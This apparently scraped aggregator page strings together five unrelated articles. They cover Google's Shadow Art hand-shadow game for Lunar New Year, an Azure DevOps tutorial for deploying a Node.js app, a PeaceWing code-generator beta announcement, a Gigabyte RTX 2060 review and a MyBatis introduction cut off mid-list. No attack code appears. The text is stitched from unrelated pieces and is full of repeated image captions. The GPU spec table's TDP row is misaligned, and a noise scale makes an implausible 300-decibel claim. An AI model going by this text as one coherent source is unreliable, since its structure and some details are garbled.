猪年来福,Google AI 实验室为那些还没有「配齐」的小伙伴们做了一点微小的贡献。这一次,团队再次融合中国手影游戏和皮影元素,让80、90后朋友们重温孩童时代的稚趣盎然。这便是 Shadow Art AI Experiment ——一款手影 AI 小游戏,定档除夕首发上线。

Google 今年的拜年项目,需要你具备灵活的手指,和干净的摄像头
Google 今年的拜年项目,需要你具备灵活的手指,和干净的摄像头

消灭手残党

Google 今年的拜年项目,需要你具备灵活的手指,和干净的摄像头
Google 今年的拜年项目,需要你具备灵活的手指,和干净的摄像头

Shadow Art 的操作流程看上去并不复杂。体验者通过浏览器进入应用,按照提示选择生肖。当然,用户也可以不选择自己的生肖,倘若你恰好不知道爱慕的异性或要好朋友的属相,又惨到不会背诵十二属相口诀,那 Google Shadow Art 可以帮到你。在右侧的时间轴,你只需选择选择年份,系统会自动判定对应的生肖。

Google 今年的拜年项目,需要你具备灵活的手指,和干净的摄像头
Google 今年的拜年项目,需要你具备灵活的手指,和干净的摄像头
Google 今年的拜年项目,需要你具备灵活的手指,和干净的摄像头
Google 今年的拜年项目,需要你具备灵活的手指,和干净的摄像头

选定生肖之后,进程会提示「校正相机」,我们点击「下一个」,在此过程要保持安分乖巧,确保设备在校正过程处于稳定状态。另外,切记不要故意选择充满迷幻风情的背景,不然再怎么矫揉造作,进程也很难准确识别你的十指风姿。

Google 今年的拜年项目,需要你具备灵活的手指,和干净的摄像头
Google 今年的拜年项目,需要你具备灵活的手指,和干净的摄像头

准备就绪后,我们正式进入闯关环节。根据操作描述,游戏开始后,体验者需要用手势摆出对应的动物轮廓,AI 会通过前置摄像头进行识别,成功识别出正确的生肖将自动进入下一关。需要注意的是,右侧的摄像头识别区会给出相应的手势提示,每关给足 20 秒的时间,供体验者尝试摆放正确的手势。

Google 今年的拜年项目,需要你具备灵活的手指,和干净的摄像头
Google 今年的拜年项目,需要你具备灵活的手指,和干净的摄像头

尽管我们选用了墙壁做背景,规避了识别最大的干扰因素,但初体验的结果仍然令人沮丧,识别并不理想。需要注意的是,想要尝鲜的用户需遵循「科学上网」的原则。在游戏过程中,笔者就经常遭遇页面卡顿的问题。因此,网络环境是否稳定,关乎着大家是否能连贯冲冠的可能。

Google 今年的拜年项目,需要你具备灵活的手指,和干净的摄像头
Google 今年的拜年项目,需要你具备灵活的手指,和干净的摄像头

除了背景选择和网络环境外,通关失败的原因,还得归咎于各位的手势和距离存在偏误。对于「手残党」而言,这款小游戏似乎不那么友好,但不失为一剂「治愈良方」。朋友们要相信勤能补拙的道理,若要通关赢卡,其实只需记下 12 种生肖的手势图,然后尝试多次练习,最后定能顺利解锁 12 道关卡。

Google 今年的拜年项目,需要你具备灵活的手指,和干净的摄像头
Google 今年的拜年项目,需要你具备灵活的手指,和干净的摄像头

可还记得「猜画小歌」?

选择在 2019 年新春之际推出这款全新的 AI 互动体验,Google 的诚意可见一斑。这不是 Google 第一次专门为中国农历新年造势,每逢农历春节,Google 都会在首页更新 Doodle。如果这是常规输出,那么 Shadow Art 的推出,多少可以从侧面说明国外对中国文化的敬仰程度正在不断加深。

Shadow Art 的原型要追溯到去年一款名为「ShadowPlay Puppetry」的应用,它在 2018 年的谷歌中国开发者大会完成了全球首秀。ShadowPlay Puppetry 以「AI 唤活十二生肖」的应用,用意十分明确,那就是助力中国传统民间艺术「皮影戏」发扬光大,并向这项「绝技」致以敬意。

Google 用科技为老中青三代人还原了一场皮影戏。体验者只需在装置前用手势模拟生肖和人物,就能识别和生成出对应的皮影形象,投射到屏幕上并辅以相应配乐,只需几个简单的手势,AI 就能完成一段皮影戏的精彩演绎。

而 Shadow Art 可以被视为 ShadowPlay Puppetry 的衍生版。游戏的目标不是用 AI 完成皮影戏,而是尽快解锁十二生肖,获得专属的生肖卡。与 Google 以往的 AI Experiments 一样,这款互动体验依旧以浏览器为平台,再次用充满趣味的方式为大家展现 AI 的魅力。

Google 今年的拜年项目,需要你具备灵活的手指,和干净的摄像头
Google 今年的拜年项目,需要你具备灵活的手指,和干净的摄像头

早在 2016 年,Google Doodle 与 AI 结合,推出了猜谜游戏「快速涂鸦」(Quick, Draw!)。「快速涂鸦」隶属于 Google AI 实验室,它能够对用户所绘制的图像进行实时辨识,是「猜画小歌」小程序的前身,后者培养出的「灵魂画家」不计其数。

公开资料显示,Google 从 2011 年起,就开始选择与全球超过 1700 家文化机构牵手,尽可能利用自身的 AI 技术,向人们展示全世界的多元文化和艺术魅力。这些非赢利性质的项目被 Google 统称为 AI Experiments。其中,非常受大家喜爱的猜画小歌和 Google 翻译等应用都是 AI 趣味性和实用性的最佳代表。

附:Shadow Art 制作人 Elaine Zhu 关于此项目的 自述

Google 今年的拜年项目,需要你具备灵活的手指,和干净的摄像头
Google 今年的拜年项目,需要你具备灵活的手指,和干净的摄像头
Google 今年的拜年项目,需要你具备灵活的手指,和干净的摄像头
Google 今年的拜年项目,需要你具备灵活的手指,和干净的摄像头
Google 今年的拜年项目,需要你具备灵活的手指,和干净的摄像头
Google 今年的拜年项目,需要你具备灵活的手指,和干净的摄像头
Google 今年的拜年项目,需要你具备灵活的手指,和干净的摄像头
Google 今年的拜年项目,需要你具备灵活的手指,和干净的摄像头
Google 今年的拜年项目,需要你具备灵活的手指,和干净的摄像头
Google 今年的拜年项目,需要你具备灵活的手指,和干净的摄像头
Google 今年的拜年项目,需要你具备灵活的手指,和干净的摄像头
Google 今年的拜年项目,需要你具备灵活的手指,和干净的摄像头
Google 今年的拜年项目,需要你具备灵活的手指,和干净的摄像头
Google 今年的拜年项目,需要你具备灵活的手指,和干净的摄像头
Google 今年的拜年项目,需要你具备灵活的手指,和干净的摄像头
Google 今年的拜年项目,需要你具备灵活的手指,和干净的摄像头

责任编辑 卧虫

Via www.geekpark.net

Ref. https://shadowart.withgoogle.com/?lang=zh-cn, https://www.blog.google/around-the-globe/google-asia/shadow-art/, https://union-click.jd.com/jdc?d=ZKPlW2

In this tutorial, we will deploy a simple Node.js application that displays the responses from two separate APIs. First the application’s source code is pushed to Azure DevOps using Git. The CI & CD pipelines are setup inside Azure DevOps. The application is eventually deployed to Microsoft Azure App Services.

The following is assumed:

  • You have node.js & git installed on your computer
  • You have an Azure DevOps account. Otherwise, create one at http://dev.azure.com .
  • You have a Microsoft Azure account.

Preparation

Clone a sample application from GitHub with the following terminal command:

git clone https://github.com/medhatelmasry/json-express

Create a new project in Azure DevOps . I created one called Toons .

Click on Repos on the left-side menu. Copy the URL under “ Clone your computer ” into the clipboard.

Go into a terminal window at the root of your application and execute the following Git commands:

git init

git add .

git commit -m "First commit"

git remote add azdev {paste the git URL here}

git push azdev master

Upon refreshing the Azure DevOps page in your browser, you should see your source code.

Deploying Node Express app to Azure through Azure DevOps
Deploying Node Express app to Azure through Azure DevOps

Build

Let us create a build. Click on Pipeline >> Build on the left side in Azure DevOps . Click on “ New pipeline ” in the middle of the page:

Deploying Node Express app to Azure through Azure DevOps
Deploying Node Express app to Azure through Azure DevOps

On the next page, choose “ Azure Repos Git ” then click on Continue .

Deploying Node Express app to Azure through Azure DevOps
Deploying Node Express app to Azure through Azure DevOps

Select the “ Node.js With Gulp ” template.

Deploying Node Express app to Azure through Azure DevOps
Deploying Node Express app to Azure through Azure DevOps

This creates for you these set of tasks:

Deploying Node Express app to Azure through Azure DevOps
Deploying Node Express app to Azure through Azure DevOps

We want to enable “Continuous Integration” so that whenever new code is pushed into the Git repo it automatically triggers a build. To do this, click on Triggers at the top. Check the “ Enable continuous integration ” checkbox.

Deploying Node Express app to Azure through Azure DevOps
Deploying Node Express app to Azure through Azure DevOps

To start the build, click on “ Save & queue ” >> “ Save & Queue ”. Ignore all the other input fields and click the “ Save & queue ” button on the next page.

Deploying Node Express app to Azure through Azure DevOps
Deploying Node Express app to Azure through Azure DevOps

You can see build progress by clicking on the build # on the top.

Deploying Node Express app to Azure through Azure DevOps
Deploying Node Express app to Azure through Azure DevOps

If things go well, all tasks will complete successfully.

Deploying Node Express app to Azure through Azure DevOps
Deploying Node Express app to Azure through Azure DevOps

The next step is to create a web app in Azure. In your browser, go to http://portal.azure.com and create a web app. Click on App Services on the left-side, then click on the “ Add button ”.

Deploying Node Express app to Azure through Azure DevOps
Deploying Node Express app to Azure through Azure DevOps

From the available templates, choose “ Node JS Empty Web App ”.

Deploying Node Express app to Azure through Azure DevOps
Deploying Node Express app to Azure through Azure DevOps

Click Create to go the next page.

You will be asked for a unique host name. Accept the other defaults then click on the blue Create button. It will take about 2 minutes to provision your website. Once the website has been provisioned, return to Azure DevOps in your browser.

Release

The next step is to create a release in Azure DevOps. Click on Pipelines >> Releases on the left side. Click on the blue “ New pipeline ” button in the middle of the page.

Deploying Node Express app to Azure through Azure DevOps
Deploying Node Express app to Azure through Azure DevOps

On the next page, choose the “ Deploy a Node.js app to Azure App Service ” template, then click on the blue Apply button.

Deploying Node Express app to Azure through Azure DevOps
Deploying Node Express app to Azure through Azure DevOps

In the left-side box, click on “Add an artifact”. A dialog pops up on the right-side. From the Source drop-down-list, choose a  build then click on the blue Add button.

Deploying Node Express app to Azure through Azure DevOps
Deploying Node Express app to Azure through Azure DevOps

Let us add continuous deployment. Click on the thunderbolt symbol in the top-right of the first box.

Deploying Node Express app to Azure through Azure DevOps
Deploying Node Express app to Azure through Azure DevOps

Enable the “ Continuous development trigger ”.

Deploying Node Express app to Azure through Azure DevOps
Deploying Node Express app to Azure through Azure DevOps

Next, we need to setup the connection between DevOps and Azure. Click on “ 1 job, 1 task ” in the second box.

Deploying Node Express app to Azure through Azure DevOps
Deploying Node Express app to Azure through Azure DevOps

Select the correct subscription under Azure subscription. While authorizing you may need to allow popups in your browser from the Azure site.

Under “ App service name ” select the web app that you created in Azure.

Deploying Node Express app to Azure through Azure DevOps
Deploying Node Express app to Azure through Azure DevOps

Once all these configurations are OK, click on the Save button on the top. After the release definition is saved, the Release button lights up. Click on “ Release ” >> “ Create a Release ”.

Choose a Stage and build artifact then click on Create .

Deploying Node Express app to Azure through Azure DevOps
Deploying Node Express app to Azure through Azure DevOps

Click on the release link on the top.

Deploying Node Express app to Azure through Azure DevOps
Deploying Node Express app to Azure through Azure DevOps

On the next page, click on the second “ Stage 1 ” box.

Deploying Node Express app to Azure through Azure DevOps
Deploying Node Express app to Azure through Azure DevOps

Click Deploy on the following page.

Deploying Node Express app to Azure through Azure DevOps
Deploying Node Express app to Azure through Azure DevOps

On the dialog that pops up on the right-side, click on the blue Deploy button.

Deploying Node Express app to Azure through Azure DevOps
Deploying Node Express app to Azure through Azure DevOps

You should see progress of the release process. Copying of the contents of node_modules takes the longest time.

Deploying Node Express app to Azure through Azure DevOps
Deploying Node Express app to Azure through Azure DevOps

Once it completes successfully, you can request the web app in your browser.

Deploying Node Express app to Azure through Azure DevOps
Deploying Node Express app to Azure through Azure DevOps

Via blog.medhat.ca

Ref. http://dev.azure.com/, http://portal.azure.com/, https://union-click.jd.com/jdc?d=ZKPlW2

首先祝福大家新年吉祥,在新的一年中工作顺利。

最新研发动态

和平之翼代码生成器SMEU 4.0.0 宝船(Treasure Ship)的Beta 4版已公布,欢迎在本站附件处下载Beta 3版二进制war包。本版主要改进了Oracle数据库相应的功能。并排除了相关错误。

项目地址: https://gitee.com/jerryshensjf/PeaceWingSMEU

二进制war包下载: https://gitee.com/jerryshensjf/PeaceWingSMEU/attach_files

最新功能

最近,完成了对EasyUI的升级,并完成了POI Excel导出功能。完成了自动textarea功能,凡字段名中含有content,description和comment字符串的字段,会被自动设置为textarea。这些特性会包含在和平之翼4.0.0 Beta4和以后的版本中。

质量提高计划

为了提高本生成器的性能和用户体验,计划对代码本代码生成器的编译错和编译警告子系统进行彻底的增强。如果你在使用的时候您的SGS源码或者Excel模板在生成时出错或者给出的提示叫您不知如何处理,请把这些原始文档Email我:[email protected]

如果您的源文档有帮助,这些文档将作为标准测试集的一部分,而您,也将出现在贡献者名单里。期望得到大家的帮助。

4.0.0 新特性清单

现在宝船已支持:

  • 高低两种分辨率的UI

  • 个性化题头,副题头和页脚

  • 支持跨域

  • 支持两个对象间的多重多对多关系:比如一个论坛中的主题和用户之间存在多重多对多关系:点赞和收藏

  • 升级至Spring框架至4.2版。

  • 宝船的Excel模板代码生成支持三种Office:MS Office, WPS Office和Libreffice,模板需保存成xls格式

  • 宝船增加了激活和批激活两个动词

  • 需要注意,宝船代码生成器的编译兼容性为JDK 8,生成物仍然兼容JDK 7

  • SGS脚本中支持双引号括起来的字符串

  • EasyUI版本升级至1.7.2

  • 添加POI Excel格式数据导出功能

最近工作重点

近期的工作重点是发布和平之翼代码生成器SMEU 4.0.0 宝船的正式版。而后开发重点将转向无垠式代码生成器JEEEU版2.0 Elsa冰雪女王,在此版本上将实现大家期待已久的登录功能,弹性模块和名词性动词。

现在,宝船的EasyUI已升级至1.7.2最新版。

本代码生成器特色

本代码生成器是超级语言(SGS 标准生成器脚本)驱动的先进编译系统。旨在演示数据驱动的代码生成器固有的生产率上的优势和与标准编译器(Java语言)的良好协作关系。在未来,更先进的代码生成器和编译器的组合会显现出巨大的生产力优势,让我们一起促成这一天所需要的技术的进化循环。

用户注意

注意,本作品为火鸟(Rocketship 沈戟峰)个人作品,为开源的代码生成器,并不收取费用,也未曾委托其他的公司,如果有公司声称是它的作品,并进行网络推广活动和收取费用,皆不属实,希望所有用户注意。

项目代号宝船的图片

和平之翼代码生成器SMEU版 4.0.0 Beta4 宝船公布
和平之翼代码生成器SMEU版 4.0.0 Beta4 宝船公布

最新稳定版

宝船已在主干版本上启动,希望下载3.2.0乌篷船正式版的用户请至发行版下载3.2.0版,请见下面链接下载: https://gitee.com/jerryshensjf/PeaceWingSMEU/releases/RELEASE_3_2_0

动词算子的力量

向Lisp和Lambda算子致敬

和平之翼代码生成器SMEU版 4.0.0 Beta4 宝船公布
和平之翼代码生成器SMEU版 4.0.0 Beta4 宝船公布

传统的SGS(标准生成器脚本)生成界面,支持SGS语法加亮:

和平之翼代码生成器SMEU版 4.0.0 Beta4 宝船公布
和平之翼代码生成器SMEU版 4.0.0 Beta4 宝船公布

和平之翼代码生成器SMEU版 4.0.0 Beta4 宝船公布
和平之翼代码生成器SMEU版 4.0.0 Beta4 宝船公布

Excel模板:

和平之翼代码生成器SMEU版 4.0.0 Beta4 宝船公布
和平之翼代码生成器SMEU版 4.0.0 Beta4 宝船公布
和平之翼代码生成器SMEU版 4.0.0 Beta4 宝船公布
和平之翼代码生成器SMEU版 4.0.0 Beta4 宝船公布
和平之翼代码生成器SMEU版 4.0.0 Beta4 宝船公布
和平之翼代码生成器SMEU版 4.0.0 Beta4 宝船公布

在线文档:

和平之翼代码生成器SMEU版 4.0.0 Beta4 宝船公布
和平之翼代码生成器SMEU版 4.0.0 Beta4 宝船公布
和平之翼代码生成器SMEU版 4.0.0 Beta4 宝船公布
和平之翼代码生成器SMEU版 4.0.0 Beta4 宝船公布
和平之翼代码生成器SMEU版 4.0.0 Beta4 宝船公布
和平之翼代码生成器SMEU版 4.0.0 Beta4 宝船公布
和平之翼代码生成器SMEU版 4.0.0 Beta4 宝船公布
和平之翼代码生成器SMEU版 4.0.0 Beta4 宝船公布
和平之翼代码生成器SMEU版 4.0.0 Beta4 宝船公布
和平之翼代码生成器SMEU版 4.0.0 Beta4 宝船公布

代码生成物截图

和平之翼代码生成器SMEU版 4.0.0 Beta4 宝船公布
和平之翼代码生成器SMEU版 4.0.0 Beta4 宝船公布

代码生成物多对多界面截图

和平之翼代码生成器SMEU版 4.0.0 Beta4 宝船公布
和平之翼代码生成器SMEU版 4.0.0 Beta4 宝船公布

代码生成物下拉列表截图

和平之翼代码生成器SMEU版 4.0.0 Beta4 宝船公布
和平之翼代码生成器SMEU版 4.0.0 Beta4 宝船公布
和平之翼代码生成器SMEU版 4.0.0 Beta4 宝船公布
和平之翼代码生成器SMEU版 4.0.0 Beta4 宝船公布

代码生成物更新界面截图:

和平之翼代码生成器SMEU版 4.0.0 Beta4 宝船公布
和平之翼代码生成器SMEU版 4.0.0 Beta4 宝船公布
和平之翼代码生成器SMEU版 4.0.0 Beta4 宝船公布
和平之翼代码生成器SMEU版 4.0.0 Beta4 宝船公布

Via www.oschina.net

Ref. https://gitee.com/jerryshensjf/PeaceWingSMEU, https://gitee.com/jerryshensjf/PeaceWingSMEU/attach_files, https://gitee.com/jerryshensjf/PeaceWingSMEU/releases/RELEASE_3_2_0, https://union-click.jd.com/jdc?d=ZKPlW2

【PConline 评测】 现在一说到技嘉,大多数人第一反应就是技嘉旗下AORUS系列的那只雕。确实技嘉的AORUS一直作为一个非常diao的系列被很多人熟知,但除了这个系列技嘉的GAMING系列也是一个比较适合大众消费者口味的存在,今天评测室拿到的技嘉RTX 2060 GAMING OC PRO就是一款没有雕的显卡,来看看它的实力到底有多强。

这张2060没有雕?这也掩盖不了他的狂野风范!
这张2060没有雕?这也掩盖不了他的狂野风范!

显卡外观

这张2060没有雕?这也掩盖不了他的狂野风范!
这张2060没有雕?这也掩盖不了他的狂野风范!

映入眼帘的就是一只大机械眼,与10系包装的机械眼不同,这只机械眼的金属感更强,减少了橙色要素,整体显得更加凶悍霸气。

这张2060没有雕?这也掩盖不了他的狂野风范!
这张2060没有雕?这也掩盖不了他的狂野风范!

本体拿出来后,超大陆第一眼感觉就是低调, 比较规整的长方形卡身,三风扇设计让显卡更长,小机箱用户要规划好空间了。外观只有少许雕刻状的线条,显卡正面虽然有几条白色类似灯条的位置,但整张显卡其实只有顶部字体处会发光。

这张2060没有雕?这也掩盖不了他的狂野风范!
这张2060没有雕?这也掩盖不了他的狂野风范!

技嘉专利WINDFORCE散热系统,三个直径80mm的风扇旋转方向均是独立的,左右两个逆时针转,中间那个功能则是顺时针转,据称散热效果超群,不得不说技嘉玩风还是有一套的。

这张2060没有雕?这也掩盖不了他的狂野风范!
这张2060没有雕?这也掩盖不了他的狂野风范!

金手指处没有NVIDIA的logo,但是有技嘉的logo,表示采用的不是公版设计PCB,一会我们就来看看带有技嘉logo的PCB长什么样。

这张2060没有雕?这也掩盖不了他的狂野风范!
这张2060没有雕?这也掩盖不了他的狂野风范!

这就是顶部的发光处,采用了技嘉独家的RGB FUSIOIN 2.0灯光技术,1670万可调颜色,并且可以与其他AORUS设备联动灯光。

这张2060没有雕?这也掩盖不了他的狂野风范!
这张2060没有雕?这也掩盖不了他的狂野风范!

RTX系列显卡都会有的GEFORCE RTX字样,相比起其他厂商把这串字做到占了半张显卡长度,技嘉做成了浮雕效果而且缩小到3分之1显卡长度。供电接口为单8PIN,与公版RTX 2060一致,看来技嘉对显卡的功耗控制非常有自信。接口 左侧有个空位,下面拆解再来详细分析。

这张2060没有雕?这也掩盖不了他的狂野风范!
这张2060没有雕?这也掩盖不了他的狂野风范!

接口部分, 技嘉RTX 2060 GAMING OC PRO使用了 3个DP接口和1个HDMI接口,对大部分用户来说已经够用了。

这张2060没有雕?这也掩盖不了他的狂野风范!
这张2060没有雕?这也掩盖不了他的狂野风范!

背板也是非常的低调,只有一个GIGABYTE的大logo和一些纹理设计。不过螺丝位超大陆个人感觉是比较多的,而且这块背板给人一种防弹钢板的感觉,非常厚实,估计加固和保护PCB的效果比其他非公版卡要好点。

看完外观,总体感觉就是非常低调,散热系统应该是一个比较吸引人的点,下面我们就来拆解它吧。

显卡拆解

这张2060没有雕?这也掩盖不了他的狂野风范!
这张2060没有雕?这也掩盖不了他的狂野风范!

显卡也是非常好拆卸的,拧掉核心周围的四颗螺丝和顶部一颗螺丝就可以慢慢拆掉散热器了。显卡散热器的连接线也很少,只有两条。

这张2060没有雕?这也掩盖不了他的狂野风范!
这张2060没有雕?这也掩盖不了他的狂野风范!

核心为TU106-200A,公认带A的性能更好,更能超。

这张2060没有雕?这也掩盖不了他的狂野风范!
这张2060没有雕?这也掩盖不了他的狂野风范!

显存使用了镁光的GDDR6显存,单颗1GB/32bit的规格,总共6颗组成6GB/192bit的规格。

这张2060没有雕?这也掩盖不了他的狂野风范!
这张2060没有雕?这也掩盖不了他的狂野风范!

6+2相供电,右侧可以看到焊点和组件非常多,稍微有些凌乱。

这张2060没有雕?这也掩盖不了他的狂野风范!
这张2060没有雕?这也掩盖不了他的狂野风范!

上文提到的供电镂空了一个接口的设计,这里可以更清楚看到PCB供电接口处预留了一个6PIN的供电接口焊位,超大陆觉得这块技嘉RTX 2060应该是使用了RTX 2070或者RTX 2080的PCB设计。

这张2060没有雕?这也掩盖不了他的狂野风范!
这张2060没有雕?这也掩盖不了他的狂野风范!

散热器使用了4根软磁粉复合热管,官方称软磁粉复合式热管结合了传统沟槽式和粉末烧结式两种热管结构,通过双重传导媒介催化相转变(液体的气液转化以传递热量),可以大幅度提升散热性能。从拆下来的硅脂分布来看,这4根热管能刚好覆盖完TU106的核心,完美贴合,具体散热效果如何则要在下面测试环节中体现出来了,左侧则贴满了MOSFET和电感等原件的导热贴。

这张2060没有雕?这也掩盖不了他的狂野风范!
这张2060没有雕?这也掩盖不了他的狂野风范!
这张2060没有雕?这也掩盖不了他的狂野风范!
这张2060没有雕?这也掩盖不了他的狂野风范!

这块拧在散热底座上的铁板也是个比较神奇的地方,两面都贴上了导热贴,一面紧贴散热鳍片,一面紧贴PCB上的显存颗粒,感觉能扩大散热面积?效果还是等下面实测才能有个数。

这张2060没有雕?这也掩盖不了他的狂野风范!
这张2060没有雕?这也掩盖不了他的狂野风范!

从这个角度来看,散热底座还是打磨得比较平整的。

灯效展示

这张2060没有雕?这也掩盖不了他的狂野风范!
这张2060没有雕?这也掩盖不了他的狂野风范!

通电后就只有顶部信仰logo灯会点亮。

这张2060没有雕?这也掩盖不了他的狂野风范!
这张2060没有雕?这也掩盖不了他的狂野风范!

独特的风扇转动方向

这张2060没有雕?这也掩盖不了他的狂野风范!
这张2060没有雕?这也掩盖不了他的狂野风范!

顶部的LOGO RGB灯效

测试平台

上机才见真本事,下面我们就看看 技嘉RTX 2060 GAMING OC PRO 上机表现如何。

硬件平台介绍
CPU Core i9-9900K
主板 技嘉Z390 AORUS MASTER
内存 技嘉AORUS RGB 8GBx2 3200MHz
硬盘 三星 960PRO 512GB
电源 鑫谷 昆仑 KL-650W
散热器 REEVEN RC-1401 CPU 散热器
显卡 技嘉RTX 2060 GAMING OC PRO
NVIDIA RTX 2060 6GB Founders Edition
NVIDIA GTX 1060 6GB Founders Edition
NVIDIA RTX 2070 8GB Founders Edition
NVIDIA GTX 1070 Ti 8GB Founders Edition
软件平台介绍
操作系统 Windows 10 x64专业版1809
显卡驱动 NVIDIA: GeForce 417.71 WHQL
理论性能测试项目 3DMark Fire Strike Extreme
3DMark Fire Strike ULTRA
3DMark TIME SPY
游戏测试项目 《古墓丽影11:暗影》
《极限竞速:地平线4》
《刺客信条:奥德赛》
特殊测试项目 DLSS测试:《最终幻想15》
光线追踪测试:《战地5》
功耗温度项目 3DMark Fire Strike ULTRA压力测试

各方面配置都使用了较高端的硬件,确保不会翻车影响成绩。

显卡参数

这张2060没有雕?这也掩盖不了他的狂野风范!
这张2060没有雕?这也掩盖不了他的狂野风范!

GPU-Z参数

显卡参数对比
显卡 技嘉RTX 2060 GAMING OC PRO RTX 2060 RTX 2070 GTX 1060
架构 Turing Turing Turing Pascal
核心型号 TU106-200A TU106-200A TU106-400 GP106
晶体管数 108亿 108亿 108亿 44亿
核心面积 445mm² 445mm² 445mm² 200mm²
制作工艺 12nm 12nm 12nm 16nm
流处理器 1920 1920 2304 1280
纹理单元 120 120 144 80
ROPs 48 48 64 48
Tensor Cores 240 240 288
RT Cores 30 30 36
RTX-Ops 37T 37T 45T
显存容量 6GB 6GB 8GB 6GB
显存类型 GDDR6 GDDR6 GDDR6 GDDR5
显存位宽 192bit 192bit 256bit 192bit
核心频率 1365-1830MHz 1365-1680MHz 1410-1710MHz 1506-1708MHz
显存频率 14000MHz 14000MHz 14000MHz 8000MHz
显存带宽 336GB/s 336GB/s 448GB/s 192GB/s
TDP 160W 175W 120W
外置供电 8Pin 8Pin 8Pin 6pin

技嘉RTX 2060 GAMING OC PRO使用的核心和公版一样,性能提升主要是来自BOOST频率的提高,比公版高了150MHz。供电接口由于只使用了单8PIN,估计功耗不会比公版高出太多。

理论性能测试

首先是简单粗暴的3DMark测试,除了有FireStrike Extreme及FireStrike Ultra两档测试外,还有一项是针对游戏PC的DirectX 12基准性能测试的Time Spy。

这张2060没有雕?这也掩盖不了他的狂野风范!
这张2060没有雕?这也掩盖不了他的狂野风范!

性能的提升主要来自核心频率的提升 ,三项测试成绩均超越了公版,分别是Ultra(4.5%)、Extreme(4.4%)以及Time Spy(6.3%),Time Spy的提升比较明显,平均下来比公版领先了5.1%。

这张2060没有雕?这也掩盖不了他的狂野风范!
这张2060没有雕?这也掩盖不了他的狂野风范!

RTX系列显卡的独门秘籍, 技嘉RTX 2060 GAMING OC PRO 在开启DLSS后对比TAA成绩有41%的提升,对比开启DLSS的公版RTX 2060提升了20%。

游戏性能测试

我们使用了《古墓丽影:暗影》、《刺客信条:奥德赛》、《极限竞速:地平线》和《战地5》四款游戏来进行测试,其中前三款游戏在两个分辨率下进行测试:2K(2560×1440)和1080P(1920×1080),画质最高。《战地5》将在1080P分辨率下开启DLSS低等级测试帧数。

这张2060没有雕?这也掩盖不了他的狂野风范!
这张2060没有雕?这也掩盖不了他的狂野风范!
这张2060没有雕?这也掩盖不了他的狂野风范!
这张2060没有雕?这也掩盖不了他的狂野风范!
这张2060没有雕?这也掩盖不了他的狂野风范!
这张2060没有雕?这也掩盖不了他的狂野风范!

游戏测试中,技嘉RTX 2060 GAMING OC PRO除了在极限竞速4与1070 Ti战平,其余项目均超越了1070 Ti,1080P下游戏与公版RTX 2060相比高出了6帧左右。

战地5是目前唯一一款支持光线追踪的游戏,所以我们就用战地5来测试RTX 2060的光线追踪性能。

这张2060没有雕?这也掩盖不了他的狂野风范!
这张2060没有雕?这也掩盖不了他的狂野风范!

技嘉RTX 2060 GAMING OC PRO在开启光线追踪后有接近60帧的水平,就要摸到RTX 2070的屁股了,这块显卡体验光追效果是完全OK的。

显卡体质测试

压力测试

这张2060没有雕?这也掩盖不了他的狂野风范!
这张2060没有雕?这也掩盖不了他的狂野风范!
这张2060没有雕?这也掩盖不了他的狂野风范!
这张2060没有雕?这也掩盖不了他的狂野风范!

压力测试及格线为97%,我们加入了之前测试过的非公版显卡来对比。 技嘉RTX 2060 GAMING OC PRO 稳定性达到了98.9%,是一个相当高的成绩了。并且我们看到BOOST频率最高到达了1980MHz,高频下还能保持优秀的通过率是比较难得的。

平台功耗对比

由于无法单独测试某个硬件的功耗,所以下面的都是整机的功耗,显卡满载则是选择3DMark压力测试中的整机峰值功耗。

这张2060没有雕?这也掩盖不了他的狂野风范!
这张2060没有雕?这也掩盖不了他的狂野风范!

压力测试下 技嘉RTX 2060 GAMING OC PRO 的功耗比公版RTX 2060高了36W,不是很高,而且性能的提升也对得起这个功耗提升,能耗比做得不错。

满载温度对比

这张2060没有雕?这也掩盖不了他的狂野风范!
这张2060没有雕?这也掩盖不了他的狂野风范!

该项观察的是显卡经过压力测试后GPU-Z显示的最高温度, 技嘉RTX 2060 GAMING OC PRO满载后达到了 66度,不过在压力测试中频率达到了1980MHz的高频,虽然温度稍高但是频率的提升比较明显,性能强了不少,总体来说是比较合理的。

满载噪音对比

这张2060没有雕?这也掩盖不了他的狂野风范!
这张2060没有雕?这也掩盖不了他的狂野风范!

技嘉RTX 2060 GAMING OC PRO满载风扇 噪音为50.5dB,频率提升后虽然带来了性能和温度提升,但是风扇噪音还可以控制在50dB,评测期间没有使用机箱,超大陆坐在隔壁也不怎么感受到风声,噪音控制做得不错。

关于噪音:

0 -20 分贝:很静、几乎感觉不到;20 -40 分贝:安静、犹如轻声絮语;40 -60 分贝:一般普通室内谈话;60 -70 分贝:吵闹:有损神经;70 -90 分贝:很吵、神经细胞受到破坏。90 -100 分贝:吵闹加剧、听力受损;100 -120 分贝:难以忍受、呆一分钟即暂时致聋。120分贝以上:极度聋或全聋;300分贝左右或以上:方圆20km的人不可修复性耳聋。

PConline评测室总结

这张2060没有雕?这也掩盖不了他的狂野风范!
这张2060没有雕?这也掩盖不了他的狂野风范!

技嘉RTX 2060 GAMING OC PRO虽然没有那只雕,但一套测试下来,其各方面表现也是令超大陆比较满意的,低调的设计,没有浮夸的灯效,性能出色。如果说AORUS是富人的战斗机,那技嘉的GAMING系列就是平民的法拉利了。总的来说,这款显卡没有大量的灯条和花哨的灯效,适合那些不需要灯光闪来闪去的佛系玩家,用这块显卡打造一个无光污染的主机也是极好的。

Via diy.pconline.com.cn

Ref. https://union-click.jd.com/jdc?d=ZKPlW2

 

1、Mybatis概述  

  MyBatis 是支持普通 SQL 查询(相比较于Hibernate的封装,Mybatis是半自动化的JDBC封装,一个特点就是Mybatis执行的SQL查询语句需要自己在配置文档中写),存储过程和高级映射的优秀持久层框架。MyBatis 消除了几乎所有的 JDBC 代码和参数的手工设置以及对结果集的检索。MyBatis 可以使用简单的XML 或注解用于配置和原始映射,将接口和 Java 的 POJO(Plain Old Java Objects,普通的Java 对象)映射成数据库中的记录。

2、Mybatis原理解析

  下面以Mybatis简单的执行流程

  1、加载mybatis全局配置文档(数据源、mapper映射文档等),解析配置文档,MyBatis基于XML配置文档生成Configuration,和一个个MappedStatement(包括了参数映射配置、动态SQL语句、结果映射配置),其对应着<select | update | delete | insert>标签项。

  2、SqlSessionFactoryBuilder通过Configuration对象生成SqlSessionFactory,用来开启SqlSession。

  3、SqlSession对象完成和数据库的交互:

  a、用户进程调用mybatis接口层api(即Mapper接口中的方法)

  b、SqlSession通过调用api的Statement ID找到对应的MappedStatement对象

  c、通过Executor(负责动态SQL的生成和查询缓存的维护)将MappedStatement对象进行解析,sql参数转化、动态sql拼接,生成jdbc Statement对象

  d、JDBC执行sql。

